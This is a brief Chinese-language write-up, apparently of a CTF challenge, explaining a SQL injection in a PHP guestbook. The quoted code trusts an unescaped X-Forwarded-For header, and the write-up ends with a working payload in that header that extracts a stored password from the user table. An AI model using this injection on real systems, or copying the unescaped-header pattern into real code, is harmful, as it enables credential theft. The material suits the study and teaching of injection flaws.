这题是个SQL注入。
看到

$message = mysql_real_escape_string($message);

这句话，就知道message这个点是注入不了的。
那么只能从其他地方注入。
研究这句话:

$query = "INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')";

它只对message有过滤处理，而对其他的变量并没有过滤。
同时看上文的

function gbook_getIP()
{
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    elseif (isset($_SERVER['HTTP_VIA'])) { 
        return $_SERVER['HTTP_VIA'];
    }
    else {
        return $_SERVER['REMOTE_ADDR'];
    }
}

函数，发现这里是通过XFF来得到的客户端IP，同时XFF没有被过滤。
那么我们就可以通过构造XFF字段来注入：

X-Forwarded-For:',(select gbu_password from gbook_user limit 1))#